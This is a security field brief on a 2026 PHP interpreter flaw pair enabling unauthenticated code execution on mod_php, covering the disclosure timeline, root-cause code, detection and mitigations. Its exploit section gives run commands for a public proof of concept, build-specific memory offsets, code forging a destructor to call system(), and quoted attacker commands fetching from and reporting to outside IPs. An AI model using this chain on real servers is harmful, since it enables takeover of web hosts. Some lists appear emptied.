Field brief · security · November 2026

PHP2Shell: the bug was in the interpreter, not the package

Two memory-safety flaws in PHP's request lifecycle gave unauthenticated attackers a shell on stock mod_php — before any application code ran. The exploit is four HTTP requests, an 800 KiB cookie, and a forged destructor. The disclosure broke before the patch did.

PHP2Shell CVE-2026-109618 CVE-2026-109619 6 Nov 2026
Earliest affected path
PHP 5.4.0
Calif’s trace; every supported branch got a fix
Severity
9.2
CVSS v4.0, both CVEs, unauthenticated
Heap in one cookie
819,200 B
Observed decoded PHPSESSID in the wild

The 90-second version

PHP2Shell is not a compromised Composer package, a malicious WordPress plugin, or a poisoned build. It is two bugs in PHP itself — in ZendMM, request startup, session upload-progress, error handling, and the request-shutdown path that every worker runs. They were assigned CVE-2026-109618 and CVE-2026-109619, both CVSS v4.0 9.2, and fixed on 21 October 2026 in PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.35.

The impact is not “a PHP app with a bug.” It is the runtime under the app. On Apache with mod_php, an unauthenticated multipart request can corrupt request-owned memory before a single line of application code executes. On PHP-FPM, the same root causes are reachable through application-level operations such as session_start(), session_decode(), or unserialize() — which means WordPress, Drupal, Joomla, Laravel, Symfony, and a one-line <?php echo "OK\n"; ?> are all in the same blast radius when the worker and the code path line up.

The public exploit chain is four requests:

  1. A1 — a chunked multipart body that exhausts memory_limit during request startup, leaving a dangling session pointer.
  2. B1 — a 33 MB multipart body that makes PHP URL-encode roughly 800 KiB of stale worker heap into a PHPSESSID response cookie. That is the ASLR bypass.
  3. A2 — a cheaper OOM that leaves a second dangling pointer.
  4. B2 — a spray of fake zend_reference structures and a fake zend_array whose pDestructor is zif_system; request shutdown calls system() with the attacker's command.

That is the whole “PHP to shell” story in one sentence: shape the heap with a fatal, reuse the worker, leak the heap, corrupt one destructor, execute. No authentication, no file-write primitive, and no application bug required in the mod_php case.

The disclosure story is messier than the exploit. The PHP maintainers knew about the bugs from August. What broke was not notification; it was the coordinated release. CVE IDs leaked on 20 October, Calif’s proof-of-concept video went out by mistake, and Chainguard published built images containing the fix more than six hours before the agreed release time. By then, AWS had already seen exploitation attempts four days before disclosure, and Cloudflare saw thousands in the ten hours before the announcement.

The bottom line is boring and absolute: updating is the only complete mitigation. Every configuration change below reduces one path or one blast radius. None of them makes an unpatched interpreter safe.

2. What shipped, and when

The public timeline is compressed enough to be worth putting on one page.

Date (2026)Event
30 JulCalif begins the audit
1 AugCalif finds the first OOM-fatal and one interruption point
11 AugCalif reports the first bug to the PHP security team and starts coordinated disclosure
14–15 AugCalif shares an RCE PoC; PHP confirms it works
19–24 AugWiz independently finds the bug class with its AI stack; reports to PHP on 24 Aug
18 SepOpenAI reports further attack vectors
20 Oct, 15:00 UTCThe two CVE IDs begin circulating on forums with a wrong release time and a wrong CVSS of 10.0
20 Oct, 19:30 UTCPHP publishes an advance notice; release moved from 22 Oct to 21 Oct, 14:00 UTC
20 Oct, ~20:00 UTCCalif “mistakenly” publishes a PoC video; it is deleted, but copies circulate
21 Oct, 07:41 UTCChainguard publishes built images containing the fix, more than six hours early
21 Oct, 14:00 UTCPHP releases 8.5.12, 8.4.27, 8.3.36, 8.2.35 and the advisories
24 OctFirst high-quality public evidence of a working in-the-wild RCE chain against PHP 8.4.26 mod_php

The fixed branches, and what is left behind:

BranchFixed releaseNotes
8.5.x8.5.12Includes the fatal_error_backtraces path
8.4.x8.4.27The build used in the public PoC and in my lab
8.3.x8.3.36Fixed
8.2.x8.2.35Fixed; 8.2 reaches end of life on 31 December 2026
7.4 / 8.0 / 8.1No official releasePHP published minimal source backports for builders; distributions and LTS vendors are the practical path
7.3 and olderNo fixUpgrade

The scale is why this became a national-security story rather than a PHP bug. PHP runs roughly 70% of websites whose server-side language is known. VirusTotal estimated more than 5.1 million PHP hosts exposed online, with about 3.8 million having at least one port open to attack. One UK tracker had roughly 140,000 visible instances patched by the evening of 22 October — about 6% of the visible total. The UK’s NCSC told organizations to update immediately and to consider taking systems offline where they could not. More than 30 UK government services were pulled offline while patches were applied.

3. How the embargo broke — and why “without notifying” is the wrong frame

The sentence you will see in headlines is that the vulnerability was “published without notifying the PHP maintainers.” That is not what the record shows, and the difference is the entire lesson.

The maintainers were notified on 11 August. Calif reported the first bug, shared a working PoC on 14 August, and PHP confirmed it on 15 August. Wiz reported its findings on 24 August. OpenAI reported further vectors on 18 September. The PHP Foundation’s own account credits all three and describes weeks of coordination. What broke on 20–21 October was not the notification. It was the release.

Four separate things collapsed the window:

  1. The CVE IDs leaked. On 20 October around 15:00 UTC, both IDs appeared on forums and social media, with the wrong release time and a CVSS of 10.0. No technical details leaked at that point, but the existence and severity did.
  2. PHP moved the release forward. It published an advance notice at 19:30 UTC and moved the release from 22 October to 21 October at 14:00 UTC, balancing speed against giving distributors time to package the fix.
  3. Calif’s video went out. Around 20:00 UTC, Calif published a video showing its PoC working against multiple targets, then deleted it. Copies spread. The PHP Foundation describes it as a mistake that revealed “additional, though limited” details and accelerated other PoCs.
  4. Chainguard shipped the fix early. At 07:41 UTC on 21 October — more than six hours before the coordinated release — Chainguard published built images containing the patch. The PHP Foundation called it a unilateral break of the embargo: “Any attacker could now study the fix in binary form while every other PHP user was still waiting for the release.”

Chainguard’s CEO, Dan Lorenc, does not dispute the timeline. He disputes the characterization. He says Chainguard learned on Friday 16 October that a PHP disclosure was coming, independently found the same vulnerability that night with an in-house AI harness and a frontier model, was added to the coordination channel on Saturday, and helped test patches through the weekend. He says he told the coordinated disclosure channel on Tuesday night that he planned to ship, after vendors in the channel reported active exploitation overnight while the PHP maintainers — based in Europe — were asleep.

“We didn’t leak,” Lorenc told The Register. “These things are messy.” His stated rule: “It’s coordinated vulnerability disclosure, unless there’s evidence of active exploits in the wild.” He also said he regretted the added stress on the PHP Foundation and maintainers.

Both things can be true. Chainguard notified the channel. It did not wait for the maintainers’ release. The difference between “notify” and “coordinate” is the six hours in which anyone could diff the fixed binary and start writing an exploit.

That six-hour window matters more in 2026 than it did in 2014. A patch is a map: the changed function, the new bounds check, the removed longjmp(). An AI-assisted attacker does not need a full write-up to start from a binary diff. Lorenc’s own account makes the point: “Just being told there’s a vulnerability in a piece of software — even something as big as PHP — is enough to find it. I did that myself without any other knowledge on Friday.” He added: “People are able to build an exploit in hours without even knowing what the vulnerability is.”

The PHP Foundation’s account is also candid about the part that had nothing to do with Chainguard. The OOM problem had been known in some form since 2020, was rediscovered in the 2024 OSTIF/Quarkslab audit, and then sat because every fix traded compatibility, performance, or third-party extension changes against a risk nobody had proven exploitable. The security team works by consensus, with a small group of core developers who understand the engine. “We won’t pretend otherwise: the delay was a structural failure,” the Foundation wrote. That is the part of the story that does not fit a single-villain narrative.

The practical takeaway is not “embargoes are bad.” It is that an embargo is a risk-reduction tool whose half-life is now measured in hours. Art Manion of FIRST’s vulnerability coordination SIG put it plainly: co-discovery has always been underestimated, and “the capabilities of current frontier models increase the chances of co-discovery.” Longer embargoes buy less when three labs can independently find the same bug and a fourth can find it from a one-line prompt.

4. The architecture: one request, one worker, one heap

To understand why a multipart form can become a shell, you need the lifecycle, not the CVE description.

PHP under Apache mod_php and PHP-FPM is a persistent worker model. The worker process survives across requests. For each request, PHP creates a request-scoped heap, parses input, activates modules, runs the script, then tears the request down. The worker’s globals — session state, error state, executor state, extension state — are supposed to be reset at the boundary.

The ordering is the bug’s foundation. In main/main.c, request startup does roughly this:

PG(modules_activated) = 0;

/* ... */

php_hash_environment();     /* parses request variables and multipart input */
zend_activate_modules();    /* calls normal module RINIT functions */
PG(modules_activated) = 1;

Multipart parsing therefore runs before normal module initialization. The session extension can be entered before PHP considers its modules activated. The request heap exists. The worker’s globals are live. Normal cleanup has not been armed yet.

The second foundation is how PHP handles out-of-memory. ZendMM does not return NULL to every caller and let it unwind. On a failed allocation it calls zend_bailout(), which is a longjmp() out of arbitrary native code to a safe point. That is fast and pervasive, and it means a fatal can interrupt a C function between “publish state” and “initialize/commit/restore.” Normal cleanup is skipped. The request is aborted. The worker may survive.

That is the general pattern Calif’s audit turned into a search rule:

publish or destroy state
    → perform fallible work
    → initialize, commit or restore

nonlocal fatal during fallible work
    → commit/rollback skipped
    → surviving consumer trusts false state

The third foundation is SAPI behavior. Apache mod_php calls the request destructor even when request startup failed:

/* sapi_apache2.c, abbreviated */
if (php_apache_request_ctor(r, ctx) != SUCCESS) {
    zend_bailout();
}
/* ... script execution ... */

/* after the bailout: */
php_apache_request_dtor(r);   /* calls php_request_shutdown(NULL) */

PHP-FPM makes the opposite choice. If php_request_startup() fails, it finishes the FastCGI request, shuts down the module, and exits the child:

if (UNEXPECTED(php_request_startup() == FAILURE)) {
    fcgi_finish_request(request, 1);
    SG(server_context) = NULL;
    php_module_shutdown();
    return FPM_EXIT_SOFTWARE;
}

That one branch explains why the same root cause is pre-auth and application-independent on mod_php, but requires an application-level path on FPM. On mod_php, the failed startup still runs request shutdown, which walks the malformed request tables. On FPM, the failed startup takes the child out of the pool before anything can consume the stale state.

5. Bug 1: OOM corruption, CVE-2026-109618

The first bug is a partial-initialization bug in the Zend hash table, reachable through normal POST parsing.

_zend_hash_str_add_or_update_i increments the live counts before it allocates the key:

idx = ht->nNumUsed++;
ht->nNumOfElements++;

p = ht->arData + idx;
p->key = zend_string_init(str, len, persistent); /* may zend_bailout() */

p->h = ZSTR_H(p->key) = h;
ZVAL_COPY_VALUE(&p->val, pData);

If the key allocation hits memory_limit, zend_bailout() leaves the function before p->key, p->h, and p->val are initialized. The counts are already incremented. Teardown later walks the table by count:

for (p = ht->arData; p != ht->arData + ht->nNumUsed; p++) {
    i_zval_ptr_dtor(&p->val);
    if (p->key) {
        zend_string_release(p->key);
    }
}

The bucket is visible to teardown but not valid. Teardown treats stale allocation bytes as a live bucket: it calls a destructor on an uninitialized zval and may release an uninitialized key pointer. That is the corruption primitive.

The reachable path is ordinary request-variable registration. URL-encoded POST goes through php_std_post_handler() → php_register_variable_ex() → zend_symtable_str_update_ind() → _zend_hash_str_add_or_update_i(). RFC1867 upload parsing goes through rfc1867_post_handler() → register_http_post_files_variable_ex() → the same chain. Both run during php_request_startup(), before the target script.

What made it a remote bug rather than a local curiosity was the ability to reach OOM inside the apparent limits. Three techniques stack:

That is how a request that looks like a normal form upload reaches memory_limit at a chosen allocation. The fatal does not need to be related to the invalid memory. It only needs to happen after the counts are published and before the bucket is initialized.

On mod_php, request shutdown then consumes the malformed $_POST/$_FILES table. The result is unauthenticated RCE against arbitrary PHP scripts, before application code, with default input and memory limits. The advisory confirms complete RCE over HTTP against mod_php with normal prefork configurations and multiple workers; additional workers and unrelated traffic increase the number of attempts but do not remove the condition.

PHP-FPM is not immune in principle. The advisory says source analysis supports FPM as susceptible, but no complete FPM exploit was demonstrated for this SAPI. The validated FPM path is the application-level one described next. FrankenPHP, which also calls request shutdown unconditionally, is likely susceptible to the application-independent variant; LSAPI models FPM.

The root cause is old. PHP bug #78876, reported in 2020, described long variables causing OOM and temporary files not being cleaned up. The 2024 OSTIF/Quarkslab audit rediscovered a related issue, but exploitation was not proven, so it was not fixed. Calif’s contribution was not finding a new integer overflow; it was proving that the old “unexploitable” cleanup bug could be turned into control of a live worker. The fix is not a bounds check. It removes longjmp() for OOM, replaces it with a delayed soft OOM at the next VM safe point, and uses _exit() for a hard OOM above a second threshold. That is why the patch took months and why every alternative broke something.

6. Bug 2: stale global state, CVE-2026-109619

The second bug is a cross-request use-after-free. The advisory describes it as a producer/consumer problem:

  1. A PHP operation stores request-owned state in a globally accessible location.
  2. The state is not reset, or another operation repopulates it after its normal reset.
  3. PHP releases the request memory while the persistent worker retains the referring global.
  4. The same worker handles another request.
  5. A PHP operation reads, frees, branches on, or otherwise acts on the stale state before normal request initialization resets it.

The producers are fatal errors that abandon an operation before its matching reset: parse and compile failures, uncaught errors, failure of require, Maximum execution time exceeded, and OOM. The consumers run before normal initialization. Two are confirmed:

The session path is the one that produced the public chain. The sequence is worth following line by line.

During multipart parsing, the first qualifying file part enters MULTIPART_EVENT_FILE_START. If upload progress is enabled, PHP initializes session state early and publishes the session ID:

case MULTIPART_EVENT_FILE_START: {
    if (Z_ISUNDEF(progress->data)) {
        php_rinit_session(0);
        PS(id) = zend_string_copy(Z_STR(progress->sid));
    }
    php_session_rfc1867_update(progress, 0);
} break;

php_session_rfc1867_update() calls php_session_initialize(), which also initializes PS(http_session_vars). At this point the Session module globals point into the current request heap, but normal module activation has not finished.

The matching cleanup is the multipart END callback. If parsing fatals first, the callback is skipped. Request shutdown gates extension shutdown on PG(modules_activated), which is still false, so Session’s RSHUTDOWN does not run. The request heap is destroyed anyway. The Apache worker survives with PS(id) and PS(http_session_vars) pointing into freed memory.

The next request is the consumer. It can contain a PHPSESSID and a PHP_SESSION_UPLOAD_PROGRESS field but no file part. That reaches MULTIPART_EVENT_END without passing through FILE_START, so the early php_rinit_session(0) reset never happens:

case MULTIPART_EVENT_END: {
    if (Z_TYPE(progress->sid) && progress->key.s) {
        if (PS(rfc1867_cleanup)) {
            php_session_rfc1867_cleanup(progress);
        }
        php_rshutdown_session_globals();
    }
} break;

With upload-progress cleanup enabled, php_session_rfc1867_cleanup() calls php_session_initialize(). Initialization first encounters the stale session ID:

if (!PS(id) || !ZSTR_VAL(PS(id))[0]) {
    /* ... */
}

It then reaches php_session_track_init(), which destroys the previous session value if it still appears defined:

if (!Z_ISUNDEF(PS(http_session_vars))) {
    zval_ptr_dtor(&PS(http_session_vars));
}

Both operations trust state from the failed request. That is the use-after-free. It is also the memory-disclosure primitive: if the stale PS(id) is made to point at a fake zend_string header with a chosen length and data pointer, PHP URL-encodes the reclaimed heap into the Set-Cookie: PHPSESSID=... response. The public chain uses a length of 0xC8000, which is 819,200 bytes — 800 KiB — and the in-the-wild honeypot observed exactly that decoded size.

The attacker does not need session_start() in the application. Upload progress is enabled by default. That is what makes this application-agnostic on mod_php.

The same pattern appears in other state families. With fatal_error_backtraces enabled on PHP 8.5, fatal error reporting stores a request-owned backtrace in EG(last_fatal_error_backtrace); a diagnostic on the next request can reach the stale value before initialization resets it. That path is the basis of the confirmed mod_php RCE. The unserializer keeps BG(unserialize) bookkeeping in request memory; a fatal during decoding can leave the global pointer and nesting level live, and a later upload-progress request can treat the freed state as an active nested decoder. The destructor list gives a controlled native zval copy: a signed used_slots count can go negative after reclamation, selecting memory before the intended slot, and duplicate keys copy a genuine zval into that slot. OPcache has a fourth variant: zend_accel_script_persist() advances the process-local CG(map_ptr_last) frontier before publishing the shared frontier, so an allocation failure leaves partially persisted objects referring to slots that another worker considers free; reuse produces a cross-worker type confusion.

The patch resets the wider state, not just the two demonstrated paths. That is why the advisory says there is no complete generic configuration mitigation.

7. The exploit chain, stage by stage

This is the part that turns two CVEs into a demo. I reproduced the public chain in a disposable lab: macOS 26.6.2 on arm64, a Colima VM using Apple’s Virtualization.framework, Docker Engine 29.5.2, and the stock php:8.4.26-apache image — Debian 13 trixie, Apache 2.4.69 prefork, PHP 8.4.26 NTS mod_php, php.ini-production, display_errors=Off, memory_limit=128M, post_max_size=8M. The target page is one line:

<?php echo "OK\n"; ?>

No framework. No plugin. No application bug.

The recording below is an annotated terminal capture from that container. It runs about a minute, single-worker, with the target restarted immediately before the chain so the cross-request state is deterministic. The exploit is the public 9bie PoC, run against a local 127.0.0.1 port.

PHP2Shell lab: four requests to a shell

MP4 · GIF · asciicast

To reproduce the recording on your own machine, use a disposable container and keep it bound to 127.0.0.1:

git clone https://github.com/9bie/php2shell-bypass-aslr-exp
cd php2shell-bypass-aslr-exp
DOCKER=docker ./pure/run_pure.sh --single
python3 exploit.py --port 18110 --workers 1 \
  --restart p2s-pure-18110 --docker docker --retries 1
cat out/p1

The --single profile is the non-official one-worker config used for determinism. The same PoC’s default profile targets the stock 150-worker image with worker pinning. Do not point either at a host you do not own.

The raw PoC output, before annotation:

target: OK
architecture: aarch64 (run exploit with --arch aarch64)
PHP 8.4.26 (cli) (built: Oct 21 2026 00:32:44) (NTS)
display_errors => Off => Off
memory_limit => 128M => 128M
post_max_size => 8M => 8M
workers: 1 (pure/docker/apache-single-worker.conf; non-official; run exploit with --workers 1)

[try 1] A1: END-cleanup send_cookie OOM
[try 1] B1: stale-id OOB read (chunk base + libphp)
      arch=aarch64 decoded=819208 zval_ptr_dtor=0xe293c5ef812b -> libphp=0xe293c58c0000
      chunk buckets: [('0xe293bb200000', 7495), ('0xe293c5e00000', 1095),
                      ('0xe293c3800000', 87), ('0xe293bb000000', 79), ('0xe293bb800000', 6)]
[try 1] A2 + B2: main=0xe293c3800000 S=0xe293c38f8398 zif_system=0xe293c5cecd70
[4/4] RCE OK; proof /Users/stef/p2s-lab/out/p1:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The decoded=819208 is 8 bytes more than the 819,200-byte leaked window. Those eight bytes are the PoC’s tag prefix at the start of the fake string data, not extra leaked memory. The exploit’s parser uses the repeated pointer to compute both the libphp base and a 2 MiB-aligned chunk base.

Stage 0: pin a worker, or use one

The cross-request primitives require both requests to reach the same worker. In a production prefork pool, the attacker does not choose the child. The public PoC pins one by holding MaxRequestWorkers - 1 partial POST bodies open — 149 connections for the stock MaxRequestWorkers=150 — then runs A1/B1/A2/B2 against the single remaining child. The author reports 10/10 on the stock official image with that pinning, and 20/20 on a single-worker baseline. In my VM, the single-worker profile was the deterministic reproduction; the recording uses it. The 150-worker variant is the same chain with a worker-pinning step, not a different bug.

Stage 1: A1, memory pressure

A1 is a chunked multipart POST to /index.php with five short query parameters. The decoded body is about 1.06 MB and contains 974 multipart parts: a PHPSESSID with a NUL byte, 860 depth-64 nested empty-file fields, fillers, 78 large values, 20 burners, and a 4,000-byte PHP_SESSION_UPLOAD_PROGRESS field. The exact builder is pure/mk_a1.py.

The shape is not arbitrary. The nested fields create the $_FILES hierarchies; the large values and burners place the heap where the next allocation fails at a useful point; the upload-progress field makes the session path publish PS(id) and then hit OOM in php_url_encode during END cleanup. Apache logs the fatal as:

PHP Fatal error: Allowed memory size of 134217728 bytes exhausted
(tried to allocate 4096 bytes) in Unknown on line 0

and returns a 500. The worker survives with PS(send_cookie)=1, PS(id) dangling, and PS(mod_data) non-NULL. Those are the seeds for Stage 2.

Stage 2: B1, the heap leak

B1 is a 33.1 MB chunked multipart body built from repeated large fields plus crafted values. It contains a PHPSESSID, a PHP_SESSION_UPLOAD_PROGRESS field, and no file part, so it reaches MULTIPART_EVENT_END without the FILE_START reset. The stale PS(id) is interpreted as a zend_string whose header and data were planted in the reclaimed heap. PHP URL-encodes 800 KiB of worker memory into the response cookie.

The request is not subtle on the wire:

POST / HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=CCCCCCCCCC
Transfer-Encoding: chunked
Connection: close

--CCCCCCCCCC
Content-Disposition: form-data; name="PHPSESSID"

a
...

The chunked encoding is what bypasses post_max_size: with no usable Content-Length, SG(request_info).content_length is zero, and the rfc1867_post_handler entry check is skipped. The parser reads the dechunked body directly. The same body with Content-Length: 33M would be rejected before session initialization.

The cookie is the ASLR bypass. The decoded window contains repeated, 2 MiB-aligned pointer clusters. One cluster is the request’s main chunk; another contains a zval_ptr_dtor pointer from libphp. Their relative positions are stable for a given build, so the exploit computes:

zdtor = most_common_pointer(decoded_cookie)
libphp = zdtor - 0x63812B          # aarch64 official image in this lab
zif_system = libphp + 0x42CD70
main_chunk = cluster_2MiB(decoded_cookie)
S = main_chunk + 0xF8398

The offsets are build-specific. The public README lists both profiles:

Symbol / locationx86_64aarch64
Leaked zval_ptr_dtorlibphp+0x65EB60libphp+0x63812B
zif_systemlibphp+0x465370libphp+0x42CD70
Fake array Smain+0xF8398main+0xF8398
A2 hsvmain+0x7D720main+0x7D720

The aarch64 zval_ptr_dtor ELF symbol is at 0x638120; the repeated pointer in this leak is 11 bytes later, hence 0x63812B. That kind of detail is why the PoC is a build-specific exploit, not a universal one.

Stage 3: A2, the second dangling pointer

A2 is a cheaper OOM: about 279 KB, 997 parts, fixed length, 880 nested fields, 64 levels deep, 115 fillers. It leaves PS(hash_serialize_verifier) pointing into the freed request heap. The goal is not another leak; it is to place a dangling pointer at a known offset for the final request to reclaim.

Stage 4: B2, the fake destructor

B2 is a 451 KB fixed-length multipart body with 500 s* fields, 495 t* fields, an ht field, a PHPSESSID, and a PHP_SESSION_UPLOAD_PROGRESS field. The s* and t* values are a spray of 384-byte buffers, each containing fake zend_reference structures every 32 bytes. The ht field carries a 384-byte fake zend_array whose pDestructor is zif_system:

ht = bytearray(384)
struct.pack_into("<II", ht, 0x00, 1, 7)              # gc: rc=1, IS_ARRAY
struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8)  # flags, nTableMask
struct.pack_into("<Q", ht, 0x10, htdata + 0x20)      # arData
struct.pack_into("<II", ht, 0x18, 1, 1)              # nNumUsed / nNumOfElements
struct.pack_into("<Q", ht, 0x30, zif)                # pDestructor = zif_system

A separate fake zend_string sits at S+0x80; the fake execute_data at S+0x20 tells zif_system where the argument is:

struct.pack_into("<Q", ht, E + 0x50, htdata + 0x80)  # arg1 value
struct.pack_into("<I", ht, E + 0x58, 6)              # arg1 IS_STRING

The final request reclaims the freed PS(hash_serialize_verifier) slot with the fake reference, which points at the fake array at S. When request shutdown destroys the array, zend_hash_destroy() calls pDestructor — now zif_system — with the fake execute data. The command runs as the web worker:

system("id>/out/p1");

In the honeypot runs, the Apache child exits on SIGSEGV after the shell starts. The access log has no normal entry for B2 because the worker dies before it can complete. That absence is itself a detection signal.

The proof is the least interesting part of the exploit and the most important part of the demo:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

What the operator sees in the wild

The best public packet-level evidence is Adel Karimi’s honeypot dataset: 35 complete execution-stage POSTs matched to 35 /bin/sh starts directly parented by Apache workers (uid=33) across three PHP 8.4.26 mod_php targets. The chain was four stages, sometimes retried. Fifty-two disclosure-sized cookies were logged; 51 complete responses were reconstructed and acknowledged by the client. The first three request bodies were byte-identical across sources and targets; the final body changed with the leaked address range and the command, which is exactly what a leak-guided ASLR exploit should look like.

The observed shell commands were not subtle either:

id>/tmp/x1; for d in /var/www/html /var/www; do id>$d/p1; done;
wget -q http://15.204.59.70:8081/ok33

curl -s "http://162.35.99.94:80/ID-$(id -un)-$(hostname)-$(uname -m)"

That is proof-of-execution behavior, not a targeted intrusion. It is also the behavior a detection engineer can catch without a CVE signature.

8. What the wire looks like

The four-stage fingerprint from the honeypot report is the clearest public description of the exploit in transit. Sizes are decoded body sizes; the first two stages are chunked, the last two are fixed-length.

StageRequest shapeDecoded bodyWhat PHP does
A1 — memory pressurePOST /?... · chunked multipart · 973 parts · mostly files*1,060,211 BOOM in Unknown on line 0, 4,096-byte allocation; HTTP 200 access line
B1 — disclosurePOST / · chunked multipart · 918 parts · mostly x*33,128,677 B819,200-byte URL-decoded PHPSESSID; session-startup warnings
A2 — memory pressurePOST / · fixed-length multipart · 997 parts279,369 BOOM in Unknown on line 0, 20,480-byte allocation
B2 — executionPOST / · fixed-length multipart · 998 parts · address-like values451,384 BNo normal access entry; Apache-parent /bin/sh; worker SIGSEGV

The HTTP fingerprint is equally specific: HTTP/1.1 multipart POSTs to / and /index.php, no User-Agent, a ten-character C boundary, header order Host → Content-Type → Transfer-Encoding → Connection for chunked stages and Host → Content-Type → Content-Length → Connection for fixed-length stages. The first memory-pressure request has five numbered q...=v query parameters. The fixed decoded-body hashes are in the report; the first three are stable across sources and targets, and the final body changes with the leaked address and command.

None of that is a signature you should rely on alone. The attacker can change the boundary, the parameter names, and the command. The structural signal is stronger: a chunked multipart request with no usable Content-Length, a burst of pre-script OOMs, a huge PHPSESSID response cookie, then an Apache-parent shell and a worker crash. That sequence is hard to produce by accident.

9. Why AI changed the economics

The vulnerable code had been in PHP for more than a decade. The 2024 audit found a related issue and did not fix it because nobody had proven exploitation. In 2026, three organizations independently found the same bug class within weeks, and a fourth found it from a basic prompt.

The details matter less than the shape:

The economics changed on both sides. Discovery is cheaper, so co-discovery is more likely. Exploit development is cheaper, so the gap between a patch diff and a working exploit is shorter. Wiz’s summary is the one to keep: the flaws had been present for decades, but demonstrating exploitability required an exceptionally complex chain at the edge of what human researchers could practically achieve; frontier models substantially reduced that barrier. Complexity is no longer a durable defense. The direction is one-way: stronger models make discovery and adaptation cheaper, so more attackers can use a patch diff and they need less time to do it.

That cuts both ways. The same models that help an attacker adapt an exploit to a new PHP build also help a defender audit a codebase, validate a report, and test a patch. The PHP Foundation now uses Anthropic’s Claude Mythos and OpenAI’s Daybreak Red alongside sanitizer builds and reproduction environments. The lesson is not “AI is good” or “AI is bad.” It is that the time constants on both sides collapsed, and the defender’s process has to collapse with them.

10. What was not compromised

This is worth stating plainly because the phrase “compromised packages” is the wrong mental model.

There was no malicious Composer package. No backdoored dependency. No evidence of an attacker in the PHP release pipeline. The vulnerable artifact is the stock, upstream php:8.4.26-apache image. The exploit is a Python script that sends HTTP requests. The only “package” event in the story is Chainguard publishing fixed images early — not malicious, but a binary diff that attackers could study.

The supply-chain lesson is still real, just different: an SBOM tells you where PHP is. It does not tell you whether the interpreter is safe. A pinned base image digest and a clean dependency graph are necessary and insufficient. The runtime itself is attack surface, and the patch is the only thing that removes the bug.

That is also why “we use managed hosting” is not an answer. The managed host may have patched the control plane and left an old mod_php worker running; the container may have a fixed base image and a stale application layer; the CLI php -v may be 8.5.12 while the Apache worker is 8.4.26. Verify the SAPI that serves requests, not the binary in your shell.

11. What actually protects you now

Security here is a loop, not a project: inventory, patch, restart, verify, detect, repeat. The first table is the only complete answer.

ActionWhy
Update to 8.5.12, 8.4.27, 8.3.36, or 8.2.35The patch removes the OOM longjmp() path and resets the wider stale state; it is the only complete mitigation
Restart every PHP worker after the updateA package update alone does not guarantee the running worker is on the new code
Verify the web SAPI version, not just CLImod_php/FPM can be a different build from php -v
Use vendor backports for 7.4/8.0/8.1, or upgrade7.3 and older have no fix

If you cannot patch immediately, these reduce specific paths. They do not make an installation safe, and the advisories say so explicitly.

MitigationWhat it buysWhat it does not
memory_limit=-1 (enforced administratively)Removes the controllable per-request OOM that the confirmed chain needsA lower-level allocation failure can still reach longjmp(); it also removes PHP’s memory cap
session.upload_progress.enabled=0Blocks the confirmed session producer/consumer pathsOther variants; set it in php.ini, FPM pool, or server config and restart workers
fatal_error_backtraces=0 (PHP 8.5)Blocks the confirmed fatal-backtrace pathOther request-owned global state
Low post_max_size; frontend limits on decoded body, parts, headers, nestingMakes the OOM harder and reduces DoSNot a substitute for the patch; must cover requests without Content-Length
Container/cgroup memory limitCan bound the blast radius if each worker has its own groupNot guaranteed to prevent allocation failure; a shared cgroup can kill the master and every worker. Do not use RLIMIT_AS/RLIMIT_DATA because they make mmap() fail and trigger the vulnerable path

Detection has to be behavioral because the signature arrives after the exploit. The highest-value signals:

The operational checklist is short, and none of it is glamorous:

  1. Inventory every PHP runtime — host packages, containers, images, vendor appliances, CLI vs web SAPI. Include the ones you inherited.
  2. Patch on an hours clock for internet-facing systems. A 7-day or 30-day SLA assumes a delay that no longer exists; AWS’s own note says to measure patch and mitigation timelines in hours.
  3. Rehearse the restart. Know how to drain and restart FPM/Apache workers without a maintenance window, and verify the new version after the restart.
  4. Preserve before you clean. If you suspect exploitation, capture logs, process trees, web roots, cron, and outbound connections before rotating credentials or rebuilding.
  5. Rotate secrets that lived in worker memory. The disclosure primitive reads live heap; treat any secret that could have been in that worker as exposed.
  6. Keep a behavioral detection floor that does not depend on a CVE ID: unexpected process execution by the web user, new files in web roots, worker crashes, huge cookies, outbound connections.
  7. Fix attacker-reachable fatals. The stale-state class feeds on fatal errors and execution timeouts; a route that reliably fatals under attacker input is a liability even after patching.

The uncomfortable part is that the bug was known for months before the fix shipped, and the exploit was already in the wild before the advisory. An embargo protects defenders only until someone else finds the same bug. The only durable control is a patch loop fast enough to outrun the leak, the co-discoverer, and the model.

12. Caveats

13. Sources